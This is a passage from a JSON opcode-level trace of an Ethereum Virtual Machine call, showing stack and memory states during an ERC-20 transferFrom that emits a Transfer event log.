","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x4563918244f40000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7843,"op":"MLOAD","gas":80461,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x4563918244f40000","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7844,"op":"PUSH2","gas":80458,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x4563918244f40000","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7847,"op":"SWAP2","gas":80455,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x4563918244f40000","0x80","0x1eaf"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7848,"op":"DUP2","gas":80452,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x1eaf","0x80","0x4563918244f40000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7849,"op":"MSTORE","gas":80449,"gasCost":9,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x1eaf","0x80","0x4563918244f40000","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7850,"op":"PUSH1","gas":80440,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x1eaf","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7852,"op":"ADD","gas":80437,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x1eaf","0x80","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7853,"op":"SWAP1","gas":80434,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x1eaf","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7854,"op":"JUMP","gas":80431,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0","0x1eaf"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7855,"op":"JUMPDEST","gas":80423,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7856,"op":"PUSH1","gas":80422,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7858,"op":"MLOAD","gas":80419,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7859,"op":"DUP1","gas":80416,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7860,"op":"SWAP2","gas":80413,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0","0x80","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7861,"op":"SUB","gas":80410,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x80","0x80","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7862,"op":"SWAP1","gas":80407,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x80","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7863,"op":"LOG3","gas":80404,"gasCost":1756,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x20","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7864,"op":"PUSH2","gas":78648,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":7867,"op":"JUMP","gas":78645,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1729"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":5929,"op":"JUMPDEST","gas":78637,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":5930,"op":"POP","gas":78636,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":5931,"op":"POP","gas":78634,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":5932,"op":"POP","gas":78632,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":5933,"op":"POP","gas":78630,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":5934,"op":"JUMP","gas":78628,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3206,"op":"JUMPDEST","gas":78620,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3207,"op":"POP","gas":78619,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3208,"op":"PUSH1","gas":78617,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3210,"op":"SWAP5","gas":78614,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3211,"op":"SWAP4","gas":78611,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x1","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x30b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3212,"op":"POP","gas":78608,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x1","0x30b","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3213,"op":"POP","gas":78606,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x1","0x30b","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3214,"op":"POP","gas":78604,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x1","0x30b","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3215,"op":"POP","gas":78602,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x1","0x30b","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":3216,"op":"JUMP","gas":78600,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x1","0x30b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":779,"op":"JUMPDEST","gas":78592,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":780,"op":"PUSH1","gas":78591,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":782,"op":"MLOAD","gas":78588,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x1","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":783,"op":"SWAP1","gas":78585,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x1","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000004563918244f40000"]},{"pc":784,"op":"ISZERO","gas":78582,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x80","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000456